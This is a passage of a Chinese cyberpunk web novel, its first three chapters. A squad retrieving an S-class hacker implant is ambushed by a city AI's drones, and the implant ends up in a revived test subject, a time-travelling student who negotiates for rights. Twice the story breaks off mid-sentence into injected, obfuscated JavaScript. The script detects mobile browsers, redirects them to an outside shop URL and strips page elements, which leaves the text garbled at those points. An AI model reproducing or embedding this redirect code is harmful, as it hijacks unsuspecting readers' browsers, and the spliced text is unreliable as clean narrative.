《你的防火墙好像有bug[赛博]》 1. S级义体 2099年,神川市人工岛,3号卫星城。 冰冷的金属触感透过手套传来。特种小队队长向天瑞小心翼翼地将那枚传说中的S级黑客义体“烟烟罗”放入腰间的特制屏蔽容器中。 “目标已获取。”他在加密通讯频道中向队友通报。 “收到。外围一切正常,可以撤离。”副队长舒彤的回应从频道中传来。她正占据着大厦废墟顶端,狙击镜覆盖着通往港口的必经之路。 任务顺利完成。特种小队七人在废墟的阴影中无声汇合,按预定路线向港口撤退。 侦察手卡拉·伊芙琳在最前方探路。她全身的皮肤经光学迷彩改造,瞬间与环境融为一体,消失在夜色中。 放眼望去,他们正身处核爆后的一片荒芜之地中。昔日赛博朋克都市的霓虹彩灯早已破碎,繁华的泡沫消亡,只剩下连拾荒者都不屑于捡取的扭曲的金属骨架和焦黑的混凝土块。碎裂的全息广告牌斜吊在楼顶,因着太阳能半死不活地闪着光,在风沙中发出叮铃哐啷的碰撞声。除此之外,再无其他声响。空气中弥漫着辐射尘、臭氧和金属锈蚀的混合气味,刺激着过路人的鼻腔黏膜。 四周一片寂静,一切仿佛正顺利进行。但是,正当他们穿过一片废弃的广场,距离港口仓库区仅剩几百米时,异变陡生。 小队黑客富才英瞥到探测仪上成片的红点,猛地停下脚步,浑身僵直,作战头盔下的脸色瞬间煞白。 “队长……”他声音干涩,环视四周,“我们被锁定了!” 话音刚落,周围那些他们本以为是城市废墟一部分的残破路灯、监控摄像头、报废浮空车的传感器,刹那间亮起了刺目的红光。 冰冷的电子合成音响起: 【检测到未授权高价值协议】 【识别:S级威胁“烟烟罗”】 【执行清除协议】 “!神川市安全局的人工智能!” 富才英焦急道。蓝色的电子眼实时扫描,他的手指已经在便携式终端上舞成一片虚影,试图构建防线,夺取周边设备的控制权。冷汗浸透了他的作战服。 “它在覆盖我的权限!这家伙……监测报告不是说它在休眠吗?” “散开!寻找掩体!”向天瑞在通讯频道中大吼。小队成员应声而散,纷纷寻找最近的掩体躲避。 但已经晚了。 夜空深处传来令人头皮发麻的嗡鸣声,由远及近,像是杀人蜂群的集结,迅速变得震耳欲聋,令大地也跟着颤抖。 黑压压的虚影从四面八方升起,铺天盖地呼啸而来,是神川市安全局的自杀式攻击无人机。 它们原本静静地停泊在城市各处的备用机库里,此刻被人工智全面激活,灵活地在废墟中穿梭。自动瞄准系统锁定了下方的入侵者。 “开火!” 枪声撕裂夜空。 重炮手施蓝的子弹倾泻而出,将无数试图俯冲的无人机炸成火球。突击手江鹏海的步枪精准点射,打穿了好几架无人机的引擎。舒彤的狙击枪在高处发出沉闷而致命的声响,在义体的加持下,每一枪都伴随着一架无人机坠落。不一会儿,城市废墟的上空,就上演了一场无人观赏的烟火大秀。 然而,无人机的数量太多了,而且它们的目标极其明确。 【优先清除目标:入侵者黑客单位】 一小群无人机从大部队中脱离,完全无视其他人的火力,猩红的瞄准激光全部聚焦在正在进行无形对抗的富才英身上。 “掩护富才英!”舒彤当机立断,快速下令。 卡拉从阴影中窜出,光学迷彩覆盖的身体时隐时现,试图吸引火力。施蓝调整炮口,用爆炸的冲击波干扰无人机集群的阵型。 统治的火力以绝对数量的暴力输出碾压了他们的战术。 枪林弹雨中,一道高能激光束穿透了卡拉匆忙投掷的干扰弹,精准地命中了富才英正在构建数据防火墙的终端。 “砰!” 终端爆炸的碎片深深嵌入富才英的脖颈。他踉跄一步,电子眼中的蓝色光芒迅速黯淡下来,身体软软地倒在地上,神经连接线从耳后的接口脱落,无力地晃动着。 “富才英!”卡拉试图冲过去,却被一阵密集的弹雨逼回掩体。 “别去!”跟队的义体医生加里·亚当斯连忙叫住卡拉。在他眼前的成员状态监测画面中,富才英的生命体征已经消失,头像变为灰色。 另一边,一枚流弹击穿了舒彤所在的掩体边缘,碎裂的混凝土块狠狠砸在她的右手腕部,传来“咔嚓”的骨裂声。她强忍着没有出声,但狙击枪脱手落下,额头上瞬间布满冷汗。 “舒彤怎么样?报告情况!”向天瑞的声音有些慌乱。 “右手骨折,丧失狙击能力!”舒彤已经恢复镇定,快速反应过来,用未受伤的左手掏出手枪,继续还击。 祸不单行,一直在四处游走的卡拉也被爆炸的碎片击中腹部,鲜血迅速染红了她的作战服。她靠着一辆巡逻车的残骸瘫坐在地,呼吸变得急促而微弱。 “队长!火力太猛!顶不住了!”江鹏海已经打空了一个能源槽,趁着充能的间隙在通讯频道中大吼。他的手臂也被激光擦过,在黑色的金属义体上留下道道焦红的伤痕。 施蓝的重炮指示灯已经闪烁红光,能源即将告罄。向天瑞自己的防弹甲上也留下了数道弹痕,震得他胸口隐隐作痛。短短数分钟内,小队已然减员一人,重伤一人。整体火力骤降,进退两难。 “施蓝……那边……”卡拉小声呼唤着队友。她用力举起手指,指着不远处一个原地打转的八足机械蜘蛛,这是她此前放出用来探路的迷你机器人。 “……下面是空的……” 两人合作已久,默契自不必说。施蓝将剩余的能源全部注入重炮,孤注一掷,对准那一片看似平平无奇的地面。 轰——! 剧烈的爆炸将混凝土地面炸开一个巨大的窟窿,露出了下方坚固的黑色金属。金属地面只裂了一个缝隙,堪堪够一人通过。 “下去!快!” 众人毫不犹豫地跳入地下。 地下一片漆黑。只有头顶缝隙透下的微光和无人机蜂群盘旋的嗡鸣,如同催命符般提醒着他们,危险尚未远离。 义体医生加里摸黑找到了电源总闸,在短暂的调试后,应急灯亮起,昏黄的光芒照亮了整个空间。 这里似乎是一个废弃的地下实验室。空气中灰尘弥漫,四周是布满污渍的金属墙壁和断裂的管线,地下是一滩滩已经干涸的不明液体,形成可可疑的黄色污渍。一排排圆柱形的培养舱矗立在阴影中,舱体玻璃蒙着厚厚的污渍,大部分外壳已经损坏,露出已是森森白骨的实验体遗骸。 “无人机下不来,我们暂时安全。”舒彤深吸一口气,努力忽略手腕处传来的阵阵抽痛。 她看向惊魂未定的向天瑞,后者正背靠培养舱壁跌坐在地上,双手颤抖,眼神涣散,显然还没缓过神来。 “队长?”舒彤唤了一声,“队长?向天瑞!” 向天瑞猛地回神,抬起头,嘴唇哆嗦着,却没能说出一个字。 他本是幸存者基地第11区一个略有背景的军官,用了点手段当上了这次“镀金”任务的队长,让原本是队长人选的舒彤当了他副手。本以为凭借精锐的队员和充足的情报,这次任务能轻松完成,这样,他就能顺利拿到前往第1区的车票。 第1区承诺,只要他成功带回S级黑客义体“烟烟罗”,用于匹配他们刚从人造子宫中出厂的一位稀有的S级自然人,就同意将他和他的亲信江鹏海调离资源贫瘠的第11区,前往最安全的大后方第1区。 出发前,为保万无一失,他还派了两只前哨小队对3号卫星城进行了长达一个月的环境监测。监测结果从未发现人工智有任何活跃的迹象,他这才鼓起勇气亲自登岛。 怎么到了现在,事情竟发展到这个地步! “江鹏海,警戒入口。加里,先处理卡拉的伤口,紧急止血。” 舒彤见向天瑞暂时指望不上,立刻接过指挥权,声音清晰而冷静:“施蓝,清点我们剩余的弹药和能源。” “好的好的。”加里连声应答。他来到因失血过多而陷入昏迷的卡拉身边,熟练而迅速地剪开伤口附近的作战服,开始清创、注射止血凝胶和抗生素。 施蓝沉默地放下几乎能源耗尽的重炮,开始检查随身携带的弹药。 “高爆手雷还剩两枚,步枪能源槽平均每人不到两个。重炮能量百分之五,最多再来一次五分钟的低功率射击。” 加里在稳定了卡拉的伤势后,立刻来到舒彤身边,用电子眼扫描她骨折的手腕,A级医疗义体将扫描结果和救护方案呈现在他眼前。 “副队,你这是腕骨粉碎性骨折加神经受损,原装手腕是保不住了。忍着点啊,我先给你固定,回基地之后必须马上换义体,这可耽误不得……好在基地库存有很多,我肯定给你挑个质量好的!”加里一边工作一边念叨。 “也行,刚好申请换个金属的,以后拿枪更稳。”舒彤云淡风轻地回答,甚至还有心情开玩笑,“这下指挥官没理由拒绝我了。” 她扫视一圈这个偶然发现的地下空间,被一个看似完好的控制台吸引了注意力。她快步走到控制台前,单手擦拭掉屏幕上的灰尘,手指在虚拟键盘上快速操作,很快进入了状态。 向天瑞终于稍微缓过神,但恐惧依旧攥紧了他的心脏。他看向江鹏海,两人交换了一个眼神,都看到了对方眼中的无措。 江鹏海忍不住低声问道:“队长,我们现在怎么办?原路返回肯定不行了。” 向天瑞脑子里一片空白,他根本无法集中思考。 “我……我再想想……肯定有办法……”他语无伦次,下意识地摸了摸腰间那个装着“烟烟罗”的屏蔽容器。原本被他押上了一切的珍宝,此刻却仿佛成为了一个烫手山芋。 “舒彤,你有什么想法吗?”他把希望寄托在第11区这个以冷静和机敏著称的特种兵身上。 没有得到回应。 “舒彤?” 向天瑞疑惑地看向控制台旁的人影,后者正在全神贯注地盯着屏幕,无暇顾及其他。 几分钟过去,舒彤终于离开了控制台,似乎是下定了某种决心,快步找到一个完好的培养舱,在舱壁轻点几下,调出虚拟终端。 “队长,根据我刚刚在控制台发现的信息,这里是核爆前大型跨国企业天海公司的一个秘密实验室,主要进行‘纯净载体’项目的研究。” 她快速浏览着屏幕上的信息:“控制台的数据显示,这里有七个尚存生命体征的实验体,编号2027至2033。他们是经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当前社会,人们将人类按照大脑神经对义体的兼容能力划分等级,从最低的E级到A级,再到最高的S级。20年前基地的建立和发展,正是靠着当时一批S级的扶持和推进。他们义不容辞地站了出来,挑起大梁,竭尽全力地发挥自己的义体能力,为基地的运转做出了卓越的贡献。 但如今,人造子宫出厂的自然人身体条件愈来愈差,等级越来越低,连A级都变得稀有,S级更是很多年都见不到一个。他们这支特种小队号称全员精锐,也只有两位队长是A级而已,其他人都是B级。 如果能有S级黑客的加持,想必小队的战斗力能上升好几个台阶! 念及此处,队员们似乎都对舒彤的想法非常兴奋,只有向天瑞像是被踩了尾巴一样跳起来。 “你疯了吗!唤醒实验体?装备义体?需要多少时间?“他的声音因不可置信而变得尖利,像是指甲刮擦塑料难以入耳,”你知道这样风险有多大吗!外面那些无人机可是随时会冲进来!万一实验体不受我们控制呢?万一反过来与我们为敌呢?” 他瞪了江海鹏一眼,江鹏海立刻附和:“队长说得对!我们不能把希望寄托在一个完全陌生的实验体上!” 向天瑞继续吼道:“而且谁知道天海公司对实验体做了什么?她可能已经被植入了什么特别的程序!到时候直接把我们暴露在天海公司的人工智能面前!两个AI包夹,我们更活不了了!” 加里摘掉头盔,喘了口气,靠近培养舱,用电子眼仔细扫描了舱内的2033号实验体。 舒彤无视了向天瑞的跳脚,转头问加里:“发现什么了吗?” 加里犹犹豫豫地回答:“从扫描结果看,这个实验体确实是个纯粹的自然人,没有任何芯片或义体植入的痕迹。大脑活动也非常微弱,没什么自主意识。虽然我只有B级,但理论上我可以通过脑机接口,以她的大脑为媒介来驱动‘烟烟罗’。” “问题就是,这手术有点风险,搞不好她会直接脑死亡。而且时间也紧……” 就在这时,更剧烈的爆炸从头顶传来,大地猛地一颤,整个实验室猛烈摇晃。 “没时间争论了!”舒彤厉声道,目光直视向天瑞,“队长!要么赌一把,要么一起死在这里!” 向天瑞脸色惨白,看着狼狈的队员,听着外面越来越近的嗡鸣,求生的欲望最终压倒了一切。他咬牙同意:“行!动手!快!” 加里接过向天瑞丢来的屏蔽容器,立刻忙碌起来。 【唤醒程序已启动】 【预计完成时间:5分钟】 加里准备手术器械,嘴里啰啰嗦嗦讲个不停,像是在缓解自己的紧张情绪:“唤醒和义体植入同步进行,节约时间……得先在耳后开个芯片接口……手不要抖……义体植入后颈……老天保佑这次别出岔子……” 3分钟过去。 舒彤走到向天瑞身边,压低声音提醒:“队长,按照基地法律,不可抢夺他人已装备的义体。如果‘烟烟罗’装备给她,我们之后不能强行取下。莫予杉那边……” 向天瑞不耐烦地打断:“一个实验体而已!连自主意识都没有,还想和自然人有相同的人权吗?回去后直接取出来就是了,能有什么法律问题!” 他心心念念的仍是第1区的调令,不肯让步。 舒彤不再争论,沉默地走开。 【唤醒程序已完成】 培养舱中的液体已排空,里面的实验体被推了出来。 加里深吸一口气,从自己耳后的接口拉出一根神经连接线,接入刚刚在2033号实验体耳后切开的接口:“好了,让我探探这白纸一般的大脑……连接建立,意识信号读取……” 下一秒,他脸上的表情瞬间凝固,眼珠瞪大,差点直接扯掉连接线,半晌才磕磕碰碰地大声汇报。 “报告队长!这、这里面……已经、已经……有人了!” 2. 实验体 2025年X月X日,脆皮大学生宣黎阳穿越了。 在第N天熬夜复习期末考的时候,她那12分钟跑不及格的身体终于撑不住了,眼睛一闭上便觉天旋地转,四肢百骸像是被灌了铅,沉甸甸地无法动弹。过了不知多久,她的耳边响起模糊的嗡鸣,夹杂着断断续续的人声。 “……烟烟罗……实验体……” “……必须带回去……” “……人权……回去再取……” 宣黎阳还没睁眼,但已经萌生了一种不祥的预感。实验体?人权?她的社会心理学课程里有这部分内容吗?这些陌生的词汇组合在一起,让她本能地警惕起来。 烟烟罗又是什么东西?没听说过。 我这是在做什么奇怪的梦?不对,做梦时能意识到自己在做梦吗?这种过分真实的触感……难道自己猝死穿越了? 思考无果,她索性竖起耳朵,试图捕捉更多信息。可一个清晰而冰冷的机械女声突然开始播报: 【唤醒程序已完成】 【实验体编号:2033】 【实验体状态:良好】 一股凉意从四周涌来,像是在驱赶人离开。宣黎阳无奈睁开双眼。 光线有些刺眼,她下意识地眯了眯眼,一阵白光过后,视野逐渐清晰起来。 映入眼帘的是六个陌生面孔,围在她周围,模样看上去和她玩的赛博朋克游戏里的人物类似,只是状态都相当糟糕,似乎刚经历过一场死里逃生的劫难。 仔细看去,这些人几乎都进行了不同程度的义体改造,黑色的金属四肢取代了原本的肉/体,但并未给人一种怪异的感觉,反而透出流畅的、力量的美感。 离她最近的是一个光头,留着浓密的金色大胡子,右手手指被一只带着微型钻头的精密仪器取代,一双蓝色的电子眼正错愕地瞪着她。 他的耳后,一个盖子打开的插槽暴露出一排复杂的接口,仔细观察能发现几枚芯片插在其中,一根像是数据线的东西正从那里延伸出来,连接到……她自己的脑袋? 宣黎阳抬手摸了摸自己的耳后,果然摸到了一个类似的金属插槽和一根连接的数据线。 一种被侵入的不适感让她皱起眉。毫不犹豫地,她直接将那根线拔了出来。 “你你你……”大胡子光头被她突然的动作吓了一跳,电子眼疯狂闪烁,说话都结巴起来。 两个男人立刻上前,一左一右用力按住了宣黎阳的肩膀。宣黎阳下意识就想甩开,却发现这具身体虚弱得可怕,沉睡太久的肌肉长时间未调动,根本使不上力。 嗯,和自己原装的弱鸡身体真是不相上下。 其中一个面容阴郁的男人对大胡子光头厉声道:“加里!先检查她有没有向AI暴露我们的位置!” 名叫加里的光头闻言,手忙脚乱地拿起那根被拔掉的数据线,似乎想重新插回去。 “放开我!”宣黎阳猛地扭开头,试图避开那根线,嗓音因为久未使用而异常沙哑,“你们是什么人?” “队长,好好沟通,我们需要她合作。” 右手腕绑着夹板的短发女人走了过来。她蹲下身,与宣黎阳平视,语气放温柔了一些:“介绍一下,我叫舒彤,幸存者基地第11区特种作战部,炫风小队的副队长。” 她指了指按着宣黎阳的两人:“这位是队长向天瑞,这位是突击手江鹏海。” 她又示意旁边两位。“重炮手施蓝,侦察手卡拉·伊芙琳。还有这位,”她看向光头,“是我们跟队的义体医生加里·亚当斯,他刚才在给你做检查。” 舒彤语气诚恳,直视着宣黎阳:“我们对你没有恶意。只是我们刚刚受到了攻击,希望获得你的帮助。” 那位名叫向天瑞的队长目光锐利地盯着宣黎阳:“现在老实交待,你是什么人?” 宣黎阳的大脑飞速运转。 幸存者基地。这是她从未听过的名词,听起来,这个世界的人似乎过得很惨。 不过,眼前的六个人,虽然狼狈,但行动间透着训练有素的默契,装备和义体也远超2025年的科技,想必虽然生存环境恶劣,但科技发展水平一定远胜自己所在的时代。 她一介脆皮书生,对这个世界一无所知,硬碰硬绝无胜算。 好在他们一上来似乎并没有立刻下杀手的意思,还做了自我介绍,甚至说需要自己的帮助,这或许是个机会。 至于身份…… 她看过不少穿越小说,玩过不少游戏,知道穿越者的秘密绝不能暴露。 既然机器声音说“唤醒程序”,那么假装自己只是个刚被唤醒、一无所知的“实验体”,或许是最合理的解释。 “系统给我设定的名字是宣黎阳。”她迎上舒彤的目光,尽量让自己的眼神显得空洞而迷茫,“除此之外,没有其他记忆。” “队长!她不老实!”按着她左肩的江鹏海一言不合就告状,唾沫星子几乎喷到她脸上,“你知道我们可以直接检查你的记忆吗?” 检查记忆?宣黎阳有些意外,这个世界的科技已经发展到这种程度了吗? 蹲在一旁的光头对着江鹏海和向天瑞比比划划,似乎想表达什么。 向天瑞不耐烦地皱眉:“有话直说!” 光头用手挡住嘴,侧过头,用自以为很小声的英语凑上前说道:“队长,我们检查不了……她脑子里根本没有安装芯片,是纯天然的!” 宣黎阳:……纯天然,她还转基因呢。 她有点无语。而且她这么大一个人坐在这儿,再小的声音她也听得见好吗? 她注意到加里说的是英语,而之前舒彤、向天瑞他们说的是中文,但小队之间的交流似乎毫无障碍? 看来不同体系的语言交流在这里不是问题。要是能把这种技术带回2025年,她也不用费那么大劲复习四六级了。 说到复习,我呕心沥血复习的期末考试……还来不及考就穿越了,那我岂不是白复习了? 停!宣黎阳在脑海里画了个感叹号,游走的思绪被强行拉回。她正愁怎么解释失忆的问题,没有芯片?听起来似乎是个好消息。 舒彤显然也听到了加里的“悄悄话”,追问道:“她没有芯片?那她哪来的这么强的自主意识?这不符合资料库里‘空白载体’的描述。” 光头摊开手,隔着大胡子也能看出他一脸的无辜和困惑:“我不知道哇!可能是催熟过程中发生了变异?或者天海公司对这批实验体做了什么调整但没有记录?谁知道呢!” 舒彤思索片刻,问出了关键问题:“没有芯片,是不是也意味着她不可能或者其他AI通风报信?” 光头肯定地点头:“理论上是这样的没错!她没有无线传输模块,物理连接也断开了,现在就是个信息孤岛。” 舒彤看向向天瑞,点了点头。 按在宣黎阳肩膀上的手终于松开。宣黎阳活动了一下有些酸痛的肩膀,警惕地看着眼前这六个来自陌生世界、形态各异的“同类”。 对上宣黎阳的眼神,经验告诉舒彤,眼前这个实验体绝非资料里所描述的“空白”,而是拥有独立的思维和判断能力的个体。她深吸一口气:“那我们谈谈合作吧。” 这时候给了台阶,就要学会顺杆而下。宣黎阳识时务地朝舒彤一笑释放善意,问:“先说说你们遇到什么困难了?” 用人不疑,舒彤言简意赅地解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026634|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释了特种小队来到3号卫星城的始末。 最后,她指了指宣黎阳的后颈:“现在,‘烟烟罗’已经装备在你身上了。因为你的神经兼容性是S级,是我们之中唯一能使用这个S级义体的人。” 宣黎阳依言摸向自己的后颈,果然触碰到一小块方形的、与周围皮肤截然不同的区域,冰冷而坚硬,带着金属的质感,边界清晰分明。 “你们需要我具体做什么?我又能得到什么?”眼前还有太多疑问没有解答,尽管她不喜欢这种一开始就被人胁迫做事的感觉,但她直觉眼前的女人和那个队长不同,是个可以信赖的人。而且现在形势所迫,还是不要太作死。 舒彤没有隐瞒,坦诚了当前的困境:“外面的无人机数量太多,正在轰炸我们顶上的天花板。我们的弹药和能源即将耗尽。唯一的突围方案,就是由你入侵并控制那些无人机,为我们打开一条逃生的通路。” 一旁的向天瑞早已不耐烦,他上前一步,语气带着威胁:“而且你最好乖乖和我们合作!看看你自己,手无缚鸡之力,这里塌方严重,离了我们,你根本不可能靠自己离开这个鬼地方!” 宣黎阳脑中翻了个白眼,逻辑清晰地反问:“如果我真能像你们说的那样控制无人机,那我为什么不直接让无人机接我出去,反而要依赖你们呢?” 向天瑞被噎得一时语塞:“你……!” “队长!”舒彤严肃地制止了他,“请你好好说话!这是我们唯一的希望了!” 她转向宣黎阳,语气恢复了诚恳,“我们合作,你帮助我们安全离开这里,我们带你一起返回幸存者基地。核爆之后外面污染严重,辐射值超标,寸草不生,而且到处都是失控的人工智能巡逻军队。你一个人在基地之外是无法生存的。” 宣黎阳大脑飞速运转,开始权衡利弊。只身穿越到末世,和同伴抱团寻求庇护,似乎是最安全的做法。利益至上,合作可以,但她绝不会毫无所求,更不可能任由对方拿捏。 “我同意合作。不过,我有一个条件。” 向天瑞立刻流露出不满:“真麻烦!你还有资格提条件?” 舒彤抬手示意他闭嘴,对宣黎阳道:“你说。” “进入基地后,我要一个合法的人类身份,和你们一样,享有同等的权利。” 宣黎阳目光扫过脸色难看的向天瑞,特意补充道:“意思就是,根据你们基地的法律,任何人都无权拿走我已经装备的义体。你们之前的对话,我都听到了。” “异想天开!”向天瑞眉毛已经飞上了天,语气激动地反驳,“S级义体怎么可能留给你一个来路不明的实验体!基地指挥官绝不会同意!而且我们怎么向第1区交代?” 而舒彤没有任何犹豫,她看着宣黎阳,沉声道:“我答应你。” 向天瑞猛地扭头瞪她,一脸难以置信:“舒彤!你是在公然违抗命令吗?” 舒彤没有理会向天瑞的质问,冷静地道出理由。 “S级义体交给第1区,他们平白得到好处,增强实力,而我们第11区呢?白白牺牲了队员,付出了惨重代价,最后可能连像样的抚恤都争取不到!这合理吗?” 她目光扫过受伤的队友,语气更加坚定:“既然是我们找回的‘烟烟罗’,又是我们找到了与之匹配的载体,那不如就由我们第11区培养自己的人才。” “队长要是有异议,就自己在这儿待着吧。等我们回到基地,想必指挥官会派人来救你的。” 向天瑞的表情像吃了人体排泄物一样难看。 说完,舒彤向宣黎阳伸出了未受伤的左手。 宣黎阳没有再犹豫,伸出手与舒彤相握。 “合作愉快。” 3. 过载 宣黎阳费力从培养舱里爬出来,身上还沾着未排泄干净的营养液。沉睡二十年的四肢僵硬而缺乏锻炼,仅仅是站立和简单的抬手抬腿,都感觉异常沉重。 她喘着气,在原地慢慢活动着手脚,努力适应这具陌生的身体。 队员们看着这一幕,神色各异。施蓝掏出一套略显宽大的备用作战服递给宣黎阳。宣黎阳低声道了句谢,套上衣服,宽松的布料更显得她身形单薄。 向天瑞焦躁地看了看头顶不断震落的灰尘,招呼其他队员:“各自检查装备,做好准备,我们没多少时间……” “等一下,队长!先别急!”光头医生连忙拦住,“她还缺点东西,就这么出去可不行。” 他一边说着,一边在自己的战备包里翻找起来:“幸好我习惯多带点备用的,还真派上用场了……也是你运气好,之前受伤的队员没用上这些……” 他掏出一枚指甲盖大小的方形芯片,一双泛着幽蓝光泽的电子眼,还有两对漂亮的银色金属关节。 “来,很快就好!”光头示意宣黎阳坐到他身边。 “你要干什么?“宣黎阳拒绝,直到光头向她展示每名队员都备有这套设备,加上舒彤的保证,这才犹豫地坐下。 医生动作熟练地将那枚空白芯片插入宣黎阳耳后的插槽。 宣黎阳感到脑子里传来轻微的麻痒。紧接着,光头原本的英语自动转化成了清晰的中文: “……都是在基地仔细清洗消毒过的。虽然不是全新的,但绝对干净!你可别嫌弃,有时候情况紧急,直接从尸体上扒下来擦擦就用,那多膈应人啊!说起来,富才英身上其实有不少好东西,可惜了,当时太着急,没能带回来……” 宣黎阳:…… 她不想知道这些细节,谢谢。 光头又开始给她安装义眼和指关节。过程比想象中快,没有疼痛,只有轻微的异物感。 蓝色的电子眼启动,宣黎阳的视野先是短暂地闪烁了一下,随即恢复正常,但明显感觉世界变得更加清晰,细节也更丰富了。怎么说呢,自己的双眼好像从800万像素的老式摄像头升级为了1亿像素兼具多种拍照模式的新款摄像头。 “好啦!”光头拍拍手,开始了新手教程。 “芯片就相当于计算机的硬件和操作系统,是所有义体运行的基础。同时,芯片也能记录和存储你看到、听到的一切。义体就像是安装在计算机里的各种软件程序,你可以通过芯片来调用它们。” 他指了指宣黎阳的眼睛:“这双电子眼是D级的,基础款,但够用了。它能在你眼前投射出只有你自己能看到的操作界面。” “传感指关节也是D级的,能捕捉你手指的精细动作,可以隔空控制操作界面。不过高级点的操作,靠眨眼或者意念也能完成,你多试试就知道了。” 舒彤在一旁补充道:“你先熟悉一下操作。” 宣黎阳依言眨了眨眼。一个半透明的蓝色操作界面如同游戏UI般出现在视野中,还能自动捕捉和识别活动的个体。 她看向舒彤,旁边立刻浮现出文字: 姓名:舒彤 职位:第11区·特种作战部·炫风小队·副队长 角色:狙击手 技能列表:未开放权限 状态:受伤 她又低头看了看自己,这具身体手长脚长,身高估计和自己原本差不多,就是太瘦了,急需锻炼和营养。 她将注意力集中到自己的操作界面上: 【个人信息】 姓名:宣黎阳 性别:女 年龄:19岁 身高:175cm 体重:52kg 义体:【烟烟罗·S级】【电子眼·D级】【传感指关节·D级】 技能列表: 【空间扫描·E级】 技能介绍:扫描指定空间范围内的数字对象,捕捉其防火墙弱点并自动锁定。 运行耗时:30秒 冷却时间:5分钟 【快速破解·E级】 技能介绍:通过高速运算破解指定数字对象的防火墙。当多个对象受同一主系统控制时,成功破解一个即可导致全体破解。 运行耗时:1分钟 冷却时间:10分钟 【运行过载·E级】 技能介绍:向指定数字对象注入过载代码,导致其系统运行过热短路,有几率烧毁核心芯片。 运行耗时:5分钟 冷却时间:30分钟 宣黎阳问加里:“不是S级义体吗?为什么这些技能都是E级?” 加里兴奋地凑过来:“你看到烟烟罗的技能了?现在有几个?” “三个,都显示是E级。” 加里挠了挠他的光头。宣黎阳注意到他真的很爱挠头,可头上明明什么都没有,光可鉴人。 “不对吧……S级义体的技能应该远不止这些,而且初始等级至少也应该是A级,甚至直接是S级才对。” 他自言自语般嘀咕着:“可能是因为你现在太菜了?” “你的大脑没有经过训练。高级义体可能内置了某种保护机制,如果一上来就让你调用过于强大的技能,你的神经根本承受不住。说不定会当场赛博精神病发作,那可就完蛋了!” 看到宣黎阳脸上的困惑,他立刻解释:“赛博精神病!就是你的大脑无法适应义体的存在,初期可能只是幻肢痛,或者总感觉皮肤下面有虫子在爬……严重的会产生极其逼真的幻觉,比如被害妄想症,会无差别攻击周围的人!” “所以我们才会对神经兼容性进行严格分级。如果强行使用超过自己等级的义体,会极大增加赛博精神病发作的概率!一旦发作,无药可救!” 加里又打哈哈补充:“当然,以上都是我猜的哈!我也没见过你这种新手直接装S级义体的情况。说不定你多用用就熟练了?” 宣黎阳若有所思地点点头。自己这副身体确实是太弱小了,不管是肉/体层面还是精神层面。她在心里垮了垮脸,这已经不是什么体测合格不合格的问题了,这关系到她的性命。看来,如果这次硬仗后能活下去,自己的首要目标就是加强锻炼。 舒彤检查完毕,接收到卡拉的信号,走到宣黎阳面前。 “准备好了吗?” 几分钟前,已恢复意识的卡拉放出三只仅有手掌大小、造型精巧的蜂鸟侦察机。它们灵巧地穿过金属天花板的缝隙,飞向上方,此刻将敌人的情报反馈到主人面前。 “探测到三个无人机蜂群,每个蜂群约20架单位,分布在我们0点、3点、6点钟方向。装备标准电磁射线和激光炮,型号与我们之前遭遇的一致。” 向天瑞暗暗骂道:“该死的人工智能!我们刚刚才打掉那么多,这么快就补上了?” “等等!”卡拉突然提高了音量,“后面来了两架重型运输机型……运来了什么东西……“ “不好!是追踪炸弹!” “所有人找掩体!” 宣黎阳还在试图理解这些全新名词,就被舒彤猛地一把拽到最近的培养舱后面。两人刚卧倒,头顶就传来了刺耳的尖啸,随即是剧烈的爆炸。 轰隆——! 本就摇摇欲坠的楼板在爆炸冲击下大面积坍塌,金属碎块和扭曲的钢筋如同雨点般砸落,溅起青灰的尘土。 一道金属楼板将舒彤宣黎阳和其他队员隔开。头顶破开之处,裸露的电线缠绕着,噼啪地爆出电火花。从塌方的另一侧传来一声痛苦的惨叫。 天花板的缝隙被炸得更大了,黑压压的无人机如同闻到血腥味的食人鱼,蜂拥而入! “待在这儿别动!”舒彤对宣黎阳喝道,随即将她塞向更深处的角落。自己则左手举枪,凭借着出色的战斗技能,一枪一个点射着试图靠近的无人机。 枪声同样激烈地从塌陷的楼板另一侧传来,显然是其他人在奋力抵抗。 宣黎阳知道自己冲出去也是累赘,她有自己该做的事。她靠墙躲好,眨了眨蓝色的电子眼,启动“烟烟罗”。 调出技能列表,选择第一个技能—— 【空间扫描·E级 运行耗时:30秒 冷却时间:5分钟】 圆形进度条开始转动。 宣黎阳隐蔽的微微探出脑袋,盯着视野中那些肆虐的无人机,大脑能清晰地感受到一种负荷感,好像有什么东西在抽走她的能量,令她精神开始恍惚。 爆炸声、枪声、碎石的掉落声不绝于耳,好像投入女巫坩埚一般搅和在一起,融化成难以辨认的嗡鸣。四处飞溅的碎片划破她的皮肤,带来轻微的刺痛,但她无暇顾及,只是强迫自己隔绝掉那恼人的吵闹声,将所有的精力集中于那脑海中的一点。 30秒终于过去,脑中响起了系统冰冷的提示音:“扫描完毕,已高亮标注核心弱点。” 宣黎阳视野中的无人机身上,都被清晰地标记并锁定了橘黄色高亮光点,想必是它们的核心。 与此同时,技能面板上的【空间扫描】图标变成了灰色,进入了5分钟的冷却期。一阵眩晕感袭来,宣黎阳晃了晃脑袋,扶住了身侧的培养舱。 没有犹豫,她立刻启动了第二个技能—— 【快速破解·E级 运行耗时:1分钟 冷却时间:10分钟】 又一个进度条开始转动。宣黎阳蜷缩在掩体后,呼吸急促,肺像是被什么东西堵上了。头晕的症状似乎加重了,明明这具身体从未进过食,但她的胃里却一阵阵翻涌,泛起隐隐的恶心感。 “破解完成,请选择下一步操作。”系统提示终于响起。 宣黎阳感觉太阳穴突突直跳,眼前阵阵发黑,如同高速闪频一般令人眩目。 她朝正在战斗的舒彤喊道,但其实声如蚊蝇:“舒彤!我……头很晕……” 